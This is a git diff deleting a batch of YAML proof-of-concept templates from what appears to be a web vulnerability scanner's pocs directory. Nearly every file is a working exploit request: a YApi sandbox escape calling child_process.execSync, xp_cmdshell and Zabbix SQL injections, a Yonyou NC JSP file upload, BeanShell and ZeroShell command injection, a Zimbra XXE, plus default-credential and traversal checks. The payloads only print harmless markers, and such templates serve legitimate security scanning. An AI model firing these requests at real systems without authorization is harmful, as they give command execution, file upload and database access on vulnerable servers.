- {"email":"{{redemail}}@qq.com","password":"{{redpassword}}","username":"{{redemail}}"}
- expression: |
- response.status == 200 && response.headers["Set-Cookie"].contains("_yapi_token=") && response.headers["Set-Cookie"].contains("_yapi_uid=") && response.body.bcontains(bytes(redemail))
-
- - method: GET
- path: /api/group/list
- search: |
- "_id":(?P.+?),
- expression: |
- response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(bytes("custom_field1"))
-
- - method: POST
- path: /api/project/add
- headers:
- Content-Type: application/json;charset=UTF-8
- body: |
- {"name":"{{redproject}}","basepath":"","group_id":"{{group_id}}","icon":"code-o","color":"cyan","project_type":"private"}
- search: |
- tag":\[\],"_id":(?P.+?),
- expression: |
- response.status == 200 && response.body.bcontains(bytes("成功!")) && response.body.bcontains(bytes(redproject))
-
- - method: GET
- path: /api/project/get?id={{project_id}}
- search: |
- "_id":(?P.+?),
- expression: |
- response.status == 200 && response.body.bcontains(bytes("成功!"))
-
- - method: POST
- path: /api/interface/add
- headers:
- Content-Type: application/json;charset=UTF-8
- body: |
- {"method":"GET","catid":"{{catid}}","title":"{{redinterface}}","path":"/{{redinterface}}","project_id":{{project_id}}}
- search: |
- "_id":(?P.+?),
- expression: |
- response.status == 200 && response.body.bcontains(bytes("成功!")) && response.body.bcontains(bytes(redinterface))
-
- - method: POST
- path: /api/plugin/advmock/save
- headers:
- Content-Type: application/json;charset=UTF-8
- body: |
- {"project_id":"{{project_id}}","interface_id":"{{interface_id}}","mock_script":"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"echo {{r1}}${{{r2}}}{{r3}}^{{r4}}\").toString()","enable":true}
- expression: |
- response.status == 200 && response.body.bcontains(bytes("成功!"))
-
- - method: GET
- path: /mock/{{project_id}}/{{redinterface}}
- expression: |
- response.status == 200 && (response.body.bcontains(bytes(r1 + r3 + "^" + r4)) || response.body.bcontains(bytes(r1 + "${" + r2 + "}" + r3 + r4)))
-
- - method: POST
- path: /api/project/del
- headers:
- Content-Type: application/json;charset=UTF-8
- body: |
- {"id":{{project_id}}}
- expression: |
- response.status == 200
-detail:
- author: tangshoupu
- info: yapi-rce
- links:
- - https://github.com/YMFE/yapi/issues/2229
diff --git a/WebScan/pocs/yccms-rce.yml b/WebScan/pocs/yccms-rce.yml
deleted file mode 100644
index e36105d..0000000
--- a/WebScan/pocs/yccms-rce.yml
+++ /dev/null
@@ -1,14 +0,0 @@
-name: poc-yaml-yccms-rce
-set:
- r: randomInt(800000000, 1000000000)
- r1: randomInt(800000000, 1000000000)
-rules:
- - method: GET
- path: "/admin/?a=Factory();print({{r}}%2b{{r1}});//../"
- expression: |
- response.body.bcontains(bytes(string(r + r1)))
-detail:
- author: j4ckzh0u(https://github.com/j4ckzh0u),violin
- yccms: v3.3
- links:
- - https://blog.csdn.net/qq_36374896/article/details/84839891
diff --git a/WebScan/pocs/yonyou-grp-u8-sqli-to-rce.yml b/WebScan/pocs/yonyou-grp-u8-sqli-to-rce.yml
deleted file mode 100644
index e7ca2a7..0000000
--- a/WebScan/pocs/yonyou-grp-u8-sqli-to-rce.yml
+++ /dev/null
@@ -1,16 +0,0 @@
-name: poc-yaml-yonyou-grp-u8-sqli-to-rce
-set:
- r1: randomInt(1000, 9999)
- r2: randomInt(1000, 9999)
-rules:
- - method: POST
- path: /Proxy
- follow_redirects: false
- body: |
- cVer=9.8.0&dp=XMLAS_DataRequestProviderNameDataSetProviderDataDataexec xp_cmdshell 'set/A {{r1}}*{{r2}}'
- expression: |
- response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
-detail:
- author: MrP01ntSun(https://github.com/MrPointSun)
- links:
- - https://www.hackbug.net/archives/111.html
diff --git a/WebScan/pocs/yonyou-grp-u8-sqli.yml b/WebScan/pocs/yonyou-grp-u8-sqli.yml
deleted file mode 100644
index 5fd8452..0000000
--- a/WebScan/pocs/yonyou-grp-u8-sqli.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-name: poc-yaml-yonyou-grp-u8-sqli
-set:
- r1: randomInt(40000, 44800)
- r2: randomInt(40000, 44800)
-rules:
- - method: POST
- path: /Proxy
- body: >
- cVer=9.8.0&dp=%3c?xml%20version%3d%221.0%22%20encoding%3d%22GB2312%22?%3e%3cR9PACKET%20version%3d%221%22%3e%3cDATAFORMAT%3eXML%3c%2fDATAFORMAT%3e%3cR9FUNCTION%3e%3cNAME%3eAS_DataRequest%3c%2fNAME%3e%3cPARAMS%3e%3cPARAM%3e%3cNAME%3eProviderName%3c%2fNAME%3e%3cDATA%20format%3d%22text%22%3eDataSetProviderData%3c%2fDATA%3e%3c%2fPARAM%3e%3cPARAM%3e%3cNAME%3eData%3c%2fNAME%3e%3cDATA%20format%3d%22text%22%3e%20select%20{{r1}}%2a{{r2}}%20%3c%2fDATA%3e%3c%2fPARAM%3e%3c%2fPARAMS%3e%3c%2fR9FUNCTION%3e%3c%2fR9PACKET%3e
- expression: |
- response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
-detail:
- author: 凉风(http://webkiller.cn/)
- links:
- - https://www.hacking8.com/bug-web/%E7%94%A8%E5%8F%8B/%E7%94%A8%E5%8F%8B-GRP-u8%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
\ No newline at end of file
diff --git a/WebScan/pocs/yonyou-nc-arbitrary-file-upload.yml b/WebScan/pocs/yonyou-nc-arbitrary-file-upload.yml
deleted file mode 100644
index d2b975a..0000000
--- a/WebScan/pocs/yonyou-nc-arbitrary-file-upload.yml
+++ /dev/null
@@ -1,26 +0,0 @@
-name: poc-yaml-yonyou-nc-arbitrary-file-upload
-set:
- r1: randomInt(10000, 20000)
- r2: randomInt(1000000000, 2000000000)
- r3: b"\xac\xed\x00\x05sr\x00\x11java.util.HashMap\x05\a\xda\xc1\xc3\x16`\xd1\x03\x00\x02F\x00\nloadFactorI\x00\tthresholdxp?@\x00\x00\x00\x00\x00\fw\b\x00\x00\x00\x10\x00\x00\x00\x02t\x00\tFILE_NAMEt\x00\t"
- r4: b".jspt\x00\x10TARGET_FILE_PATHt\x00\x10./webapps/nc_webx"
-rules:
- - method: POST
- path: /servlet/FileReceiveServlet
- headers:
- Content-Type: multipart/form-data;
- body: >-
- {{r3}}{{r1}}{{r4}}<%out.print("{{r2}}");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
- expression: |
- response.status == 200
- - method: GET
- path: '/{{r1}}.jsp'
- headers:
- Content-Type: application/x-www-form-urlencoded
- expression: |
- response.status == 200 && response.body.bcontains(bytes(string(r2)))
-detail:
- author: pa55w0rd(www.pa55w0rd.online/)
- Affected Version: "YONYOU NC > 6.5"
- links:
- - https://blog.csdn.net/weixin_44578334/article/details/110917053
diff --git a/WebScan/pocs/yonyou-nc-bsh-servlet-bshservlet-rce.yml b/WebScan/pocs/yonyou-nc-bsh-servlet-bshservlet-rce.yml
deleted file mode 100644
index 11deeac..0000000
--- a/WebScan/pocs/yonyou-nc-bsh-servlet-bshservlet-rce.yml
+++ /dev/null
@@ -1,14 +0,0 @@
-name: poc-yaml-yonyou-nc-bsh-servlet-bshservlet-rce
-set:
- r1: randomInt(8000, 9999)
- r2: randomInt(8000, 9999)
-rules:
- - method: POST
- path: /servlet/~ic/bsh.servlet.BshServlet
- body: bsh.script=print%28{{r1}}*{{r2}}%29%3B
- expression: |
- response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
-detail:
- author: B1anda0(https://github.com/B1anda0)
- links:
- - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
diff --git a/WebScan/pocs/yonyou-u8-oa-sqli.yml b/WebScan/pocs/yonyou-u8-oa-sqli.yml
deleted file mode 100644
index 51aa2c1..0000000
--- a/WebScan/pocs/yonyou-u8-oa-sqli.yml
+++ /dev/null
@@ -1,14 +0,0 @@
-name: poc-yaml-yongyou-u8-oa-sqli
-set:
- rand: randomInt(200000000, 220000000)
-rules:
- - method: GET
- path: /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}}))
- follow_redirects: false
- expression: |
- response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
-
-detail:
- author: kzaopa(https://github.com/kzaopa)
- links:
- - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
diff --git a/WebScan/pocs/youphptube-encoder-cve-2019-5127.yml b/WebScan/pocs/youphptube-encoder-cve-2019-5127.yml
deleted file mode 100644
index 9c7ce3e..0000000
--- a/WebScan/pocs/youphptube-encoder-cve-2019-5127.yml
+++ /dev/null
@@ -1,20 +0,0 @@
-name: poc-yaml-youphptube-encoder-cve-2019-5127
-set:
- fileName: randomLowercase(4) + ".txt"
- content: randomLowercase(8)
- payload: urlencode(base64("`echo " + content + " > " + fileName + "`"))
-rules:
- - method: GET
- path: /objects/getImage.php?base64Url={{payload}}&format=png
- follow_redirects: true
- expression: |
- response.status == 200
- - method: GET
- path: /objects/{{fileName}}
- follow_redirects: true
- expression: |
- response.status == 200 && response.body.bcontains(bytes(content))
-detail:
- author: 0x_zmz(github.com/0x-zmz)
- links:
- - https://xz.aliyun.com/t/6708
diff --git a/WebScan/pocs/youphptube-encoder-cve-2019-5128.yml b/WebScan/pocs/youphptube-encoder-cve-2019-5128.yml
deleted file mode 100644
index 7f12c83..0000000
--- a/WebScan/pocs/youphptube-encoder-cve-2019-5128.yml
+++ /dev/null
@@ -1,20 +0,0 @@
-name: poc-yaml-youphptube-encoder-cve-2019-5128
-set:
- fileName: randomLowercase(4) + ".txt"
- content: randomLowercase(8)
- payload: urlencode(base64("`echo " + content + " > " + fileName + "`"))
-rules:
- - method: GET
- path: /objects/getImageMP4.php?base64Url={{payload}}&format=jpg
- follow_redirects: true
- expression: |
- response.status == 200
- - method: GET
- path: /objects/{{fileName}}
- follow_redirects: true
- expression: |
- response.status == 200 && response.body.bcontains(bytes(content))
-detail:
- author: 0x_zmz(github.com/0x-zmz)
- links:
- - https://xz.aliyun.com/t/6708
diff --git a/WebScan/pocs/youphptube-encoder-cve-2019-5129.yml b/WebScan/pocs/youphptube-encoder-cve-2019-5129.yml
deleted file mode 100644
index 2393096..0000000
--- a/WebScan/pocs/youphptube-encoder-cve-2019-5129.yml
+++ /dev/null
@@ -1,20 +0,0 @@
-name: poc-yaml-youphptube-encoder-cve-2019-5129
-set:
- fileName: randomLowercase(4) + ".txt"
- content: randomLowercase(8)
- payload: urlencode(base64("`echo " + content + " > " + fileName + "`"))
-rules:
- - method: GET
- path: /objects/getSpiritsFromVideo.php?base64Url={{payload}}&format=jpg
- follow_redirects: true
- expression: |
- response.status == 200
- - method: GET
- path: /objects/{{fileName}}
- follow_redirects: true
- expression: |
- response.status == 200 && response.body.bcontains(bytes(content))
-detail:
- author: 0x_zmz(github.com/0x-zmz)
- links:
- - https://xz.aliyun.com/t/6708
diff --git a/WebScan/pocs/yungoucms-sqli.yml b/WebScan/pocs/yungoucms-sqli.yml
deleted file mode 100644
index 5fc2792..0000000
--- a/WebScan/pocs/yungoucms-sqli.yml
+++ /dev/null
@@ -1,14 +0,0 @@
-name: poc-yaml-yungoucms-sqli
-set:
- rand: randomInt(2000000000, 2100000000)
-rules:
- - method: GET
- path: >-
- /?/member/cart/Fastpay&shopid=-1%20union%20select%20md5({{rand}}),2,3,4%20--+
- follow_redirects: false
- expression: >
- response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
-detail:
- author: cc_ci(https://github.com/cc8ci)
- links:
- - https://www.secquan.org/Prime/1069179
\ No newline at end of file
diff --git a/WebScan/pocs/zabbix-authentication-bypass.yml b/WebScan/pocs/zabbix-authentication-bypass.yml
deleted file mode 100644
index 1cc08ab..0000000
--- a/WebScan/pocs/zabbix-authentication-bypass.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-name: poc-yaml-zabbix-authentication-bypass
-rules:
- - method: GET
- path: /zabbix.php?action=dashboard.view&dashboardid=1
- follow_redirects: false
- expression: |
- response.status == 200 && response.body.bcontains(bytes("Share")) && response.body.bcontains(b"Dashboard")
-detail:
- author: FiveAourThe(https://github.com/FiveAourThe)
- links:
- - https://www.exploit-db.com/exploits/47467
\ No newline at end of file
diff --git a/WebScan/pocs/zabbix-cve-2016-10134-sqli.yml b/WebScan/pocs/zabbix-cve-2016-10134-sqli.yml
deleted file mode 100644
index 494acc6..0000000
--- a/WebScan/pocs/zabbix-cve-2016-10134-sqli.yml
+++ /dev/null
@@ -1,14 +0,0 @@
-name: poc-yaml-zabbix-cve-2016-10134-sqli
-set:
- r: randomInt(2000000000, 2100000000)
-rules:
- - method: GET
- path: >-
- /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,md5({{r}})),0)
- follow_redirects: true
- expression: |
- response.status == 200 && response.body.bcontains(bytes(substr(md5(string(r)), 0, 31)))
-detail:
- author: sharecast
- links:
- - https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2016-10134
\ No newline at end of file
diff --git a/WebScan/pocs/zabbix-default-password.yml b/WebScan/pocs/zabbix-default-password.yml
deleted file mode 100644
index 7264136..0000000
--- a/WebScan/pocs/zabbix-default-password.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-name: poc-yaml-zabbix-default-password
-rules:
- - method: POST
- path: /index.php
- body: name=Admin&password=zabbix&autologin=1&enter=Sign+in
- expression: |
- response.status == 302 && response.headers["Location"] == "zabbix.php?action=dashboard.view" && response.headers["set-cookie"].contains("zbx_session")
-detail:
- author: fuzz7j(https://github.com/fuzz7j)
- links:
- - https://www.zabbix.com/documentation/3.4/zh/manual/quickstart/login
diff --git a/WebScan/pocs/zcms-v3-sqli.yml b/WebScan/pocs/zcms-v3-sqli.yml
deleted file mode 100644
index dc9d3b0..0000000
--- a/WebScan/pocs/zcms-v3-sqli.yml
+++ /dev/null
@@ -1,12 +0,0 @@
-name: poc-yaml-zcms-v3-sqli
-rules:
- - method: GET
- path: >-
- /admin/cms_channel.php?del=123456+AND+(SELECT+1+FROM(SELECT+COUNT(*)%2cCONCAT(0x7e%2cmd5(202072102)%2c0x7e%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)--%2b
- follow_redirects: true
- expression: |
- response.status == 200 && response.body.bcontains(b"6f7c6dcbc380aac3bcba1f9fccec991e")
-detail:
- author: MaxSecurity(https://github.com/MaxSecurity)
- links:
- - https://www.anquanke.com/post/id/183241
diff --git a/WebScan/pocs/zeit-nodejs-cve-2020-5284-directory-traversal.yml b/WebScan/pocs/zeit-nodejs-cve-2020-5284-directory-traversal.yml
deleted file mode 100644
index ab8cfe3..0000000
--- a/WebScan/pocs/zeit-nodejs-cve-2020-5284-directory-traversal.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-name: poc-yaml-zeit-nodejs-cve-2020-5284-directory-traversal
-rules:
- - method: GET
- path: /_next/static/../server/pages-manifest.json
- expression: |
- response.status == 200 && response.headers["Content-Type"].contains("application/json") && "/_app\": \".*?_app\\.js".bmatches(response.body)
-detail:
- author: x1n9Qi8
- links:
- - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202003-1728
- - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5284
\ No newline at end of file
diff --git a/WebScan/pocs/zeroshell-cve-2019-12725-rce.yml b/WebScan/pocs/zeroshell-cve-2019-12725-rce.yml
deleted file mode 100644
index 13f6068..0000000
--- a/WebScan/pocs/zeroshell-cve-2019-12725-rce.yml
+++ /dev/null
@@ -1,16 +0,0 @@
-name: poc-yaml-zeroshell-cve-2019-12725-rce
-set:
- r1: randomInt(800000000, 1000000000)
- r2: randomInt(800000000, 1000000000)
-rules:
- - method: GET
- path: /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aexpr%20{{r1}}%20-%20{{r2}}%0A%27
- follow_redirects: false
- expression: |
- response.status == 200 && response.body.bcontains(bytes(string(r1 - r2)))
-
-detail:
- author: YekkoY
- description: "ZeroShell 3.9.0-远程命令执行漏洞-CVE-2019-12725"
- links:
- - http://wiki.xypbk.com/IOT%E5%AE%89%E5%85%A8/ZeroShell/ZeroShell%203.9.0%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2019-12725.md?btwaf=51546333
diff --git a/WebScan/pocs/zimbra-cve-2019-9670-xxe.yml b/WebScan/pocs/zimbra-cve-2019-9670-xxe.yml
deleted file mode 100644
index ad969dd..0000000
--- a/WebScan/pocs/zimbra-cve-2019-9670-xxe.yml
+++ /dev/null
@@ -1,19 +0,0 @@
-name: poc-yaml-zimbra-cve-2019-9670-xxe
-rules:
- - method: POST
- path: /Autodiscover/Autodiscover.xml
- headers:
- Content-Type: text/xml
- body: >-
- ]>test@test.com&xxe;
- follow_redirects: false
- expression: |
- response.body.bcontains(b"zmmailboxd.out") && response.body.bcontains(b"Requested response schema not available")
-detail:
- author: fnmsd(https://blog.csdn.net/fnmsd)
- cve-id: CVE-2019-9670
- vuln_path: /Autodiscover/Autodiscover.xml
- description: Zimbra XXE Vul,may Control your Server with AdminPort SSRF
- links:
- - https://blog.csdn.net/fnmsd/article/details/88657083
- - https://blog.csdn.net/fnmsd/article/details/89235589
\ No newline at end of file
diff --git a/WebScan/pocs/zzcms-zsmanage-sqli.yml b/WebScan/pocs/zzcms-zsmanage-sqli.yml
deleted file mode 100644
index 3652b9c..0000000
--- a/WebScan/pocs/zzcms-zsmanage-sqli.yml
+++ /dev/null
@@ -1,25 +0,0 @@
-name: poc-yaml-zzcms-zsmanage-sqli
-set:
- r0: randomLowercase(6)
- r1: randomInt(40000, 44800)
- r2: randomInt(40000, 44800)
-rules:
- - method: POST
- path: /user/zs.php?do=save
- headers:
- Content-Type: application/x-www-form-urlencoded
- body: >-
- proname={{r0}}&tz=1%E4%B8%87%E4%BB%A5%E4%B8%8B&prouse={{r0}}&sx%5B%5D=&sx%5B%5D=&sm={{r0}}&province=%E5%85%A8%E5%9B%BD&city=%E5%85%A8%E5%9B%BD%E5%90%84%E5%9C%B0%E5%8C%BA&xiancheng=&cityforadd=&img=%2Fimage%2Fnopic.gif&flv=&zc=&yq=&action=add&Submit=%E5%A1%AB%E5%A5%BD%E4%BA%86%EF%BC%8C%E5%8F%91%E5%B8%83%E4%BF%A1%E6%81%AF&smallclassid[]=1&smallclassid[]=2)%20union%20select%20{{r1}}*{{r2}}%23
- follow_redirects: true
- expression: |
- response.status == 200
- - method: GET
- path: /user/zsmanage.php
- follow_redirects: true
- expression: |
- response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
-detail:
- author: JingLing(https://hackfun.org/)
- version: zzcms201910
- links:
- - https://github.com/JcQSteven/blog/issues/18